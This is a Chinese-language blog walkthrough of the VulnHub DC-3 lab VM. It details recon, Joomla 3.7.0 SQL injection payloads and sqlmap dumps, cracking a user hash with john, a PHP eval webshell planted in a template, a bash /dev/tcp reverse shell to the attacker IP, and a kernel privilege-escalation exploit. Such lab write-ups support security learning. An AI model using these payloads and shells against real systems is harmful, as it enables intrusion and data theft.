DC-3

靶机介绍

  名称:DC: 3.2

  发布日期:25 Apr 2020

  难度:初级

  下载地址:https://download.vulnhub.com/dc/DC-3-2.zip

环境搭建

  下载之后,解压,使用vmware导入或者virtualbox导入都可以,但注意要保证与你的攻击机在同一网段下,vmware要使用最新版

  ‍

  kali攻击机:192.168.98.136

  如果你导入靶机之后,打开时报错如下:

image

  按照图片调整即可:

image

  成功启动:

image

靶机渗透

信息收集

扫描主机

arp-scan -l

image

  目前就开了一个靶机,所以该靶机的ip为192.168.98.141

  ‍

扫描端口

masscan --rate=100000 -p 0-65535 192.168.98.141

image

  扫描到一个80端口开放的!

  用nmap扫描一下:

nmap -A 192.168.98.141

image

  Joomla 的CMS系统

指纹识别

whatweb http://192.168.98.141

image

  访问80端口:

image

  验证确实是Joomla系统,但是也不知道是什么版本的

joomscan扫描仪

  先下载安装一下这个joomscan扫描仪,这个工具是专门用于joomla漏洞扫描的工具

sudo apt update
sudo apt install joomscan

  用法:

joomscan --url http://192.168.98.141/

image

  版本是3.7.0

目录扫描

dirb http://192.168.98.141 /usr/share/dirb/wordlists/big.txt

image

image

  有一个administrator目录,记录下来,这是后台登录地址

漏洞挖掘

  访问80端口如下:

image

本关介绍

This time, there is only one flag, one entry point and no clues.
To get the flag, you'll obviously have to gain root privileges.
How you get to be root is up to you - and, obviously, the system.
Good luck - and I hope you enjoy this little challenge.

  意思是这次只有一个flag,并且没有任何提示线索,还有必须要获得root权限,怎么获得root权限,取决于你和这个系统!

搜素joomla漏洞

searchsploit joomla 3.7.0 

image

  打开查看漏洞详情

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt 

image

  sql注入漏洞

sql注入

  经过网上公开情报表示:3.7.0版本存在 CVE-2017-8917 SQL注入漏洞,我拿poc试了一下,成功了,确实存在该漏洞

  验证一下是否存在sql注入:

  获取数据库名:joomladb

http://192.168.98.141/index.php
?option=com_fields
&view=fields
&layout=modal
&list[fullordering]=updatexml(1,concat(0x7e,database(),0x7e),1)

image

  程序屏蔽了单引号,所以我们不能使用常规的字符串条件如 TABLE_NAME='users' 进行判断:

image

  所以我们使用LIKE操作符代替,LIKE操作符支持16进制参数,可以将目标表名字符串转换为16进制数值,放在LIKE语句后充当条件

image

http://192.168.98.141/index.php
?option=com_fields
&view=fields
&layout=modal
&list[fullordering]=updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema like 0x6a6f6f6d6c616462),1,30),0x7e),1)

image

  由于xpath只会报错32个字符,所以可以使用substr()​函数进行字符串截取,控制后面的参数来查询

#__bsms_admin

  查了半天,没查到有用的信息,直接使用sqlmap跑了,尝试通过sqlmap写入shell失败,只能查数据了:

sqlmap -u "http://192.168.98.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

image

  查表:

sqlmap -u "http://192.168.98.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb --tables --batch

image

  爆破一下 #_users 的字段:

sqlmap -u "http://192.168.98.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" -T "#__users" --columns

image

  爆数据:

sqlmap -u "http://192.168.98.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" -T "#__users" -C name,username,password --dump

image

  密码为:

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

john爆破

  尝试使用john爆破一下,将密码保存在dc3.txt:

john dc3.txt

image

  本来打算试试的心态,没想到真给它爆破了: snoopy

  靶机仅仅只开放了80端口,所以无法通过ssh来尝试连接了。。。

  ‍

登录写shell页面

  使用这个账号密码 成功登录后台:

image

  编写新页面

image

  new file编写,写入shell代码,保存即可

  shell代码内容:

<?php
@eval($_POST['pass']);
?>

  ​image​蚁剑连接:http://192.168.98.141/templates/beez3/shell.php

image

  成功连接:

image

  没有权限,不能读取root目录,要想办法提权

image

image

  ‍

  ‍

linux内核提权

  尝试suid提权,但是没有发现可提权的点,故放弃

image

  尝试命令提权未果

  尝试linux内核提权

uname -a
cat /etc/issue

image

searchsploit Ubuntu 16.04

  根据版本,来尝试使用这个脚本(听说其他脚本都用不了,我也没尝试过,就不测试了)

image

  用linux-exploit-suggeste​脚本也能扫描出存在这个漏洞:

image

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

image

  下载一下exp:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

  ‍

  解压上传到靶机目录,解压(直接上传到最开始的目录上,也就是连接shell的目录里,因为这个目录上有执行权限,妈的,连/tmp目录都没有执行权限)

unzip 39772.zip
tar -xf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh

  ‍

  先反弹一下交互形的shell,至于为什么要这样做(因为蚁剑那个命令执行很不稳定,提权容易失败!)
创建一个phpshell.php文件,写入

<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.98.136/4444 0>&1' ");
?>

  kali端

netcat -l -p 4444

  蚁剑执行

php phpshell.php

  kali收到会话:

image

  执行exp,提权成功:

image

  ‍

拿下flag

  寻找flag在root目录下:

image

总结

  1. 在kali上基于服务器组件及其版本号可以全局搜索利用脚本searchsploit xxx
  2. 使用 john 爆破密码
  3. 学习在网站上写入生成php shell脚本,并且可以使用webshell工具成功连接该脚本
  4. 通过searchsploit全局搜索提权脚本进行linux内核提权

  ‍

posted @ 2024-08-18 18:28  AgonySec  阅读(15)  评论(0编辑  收藏  举报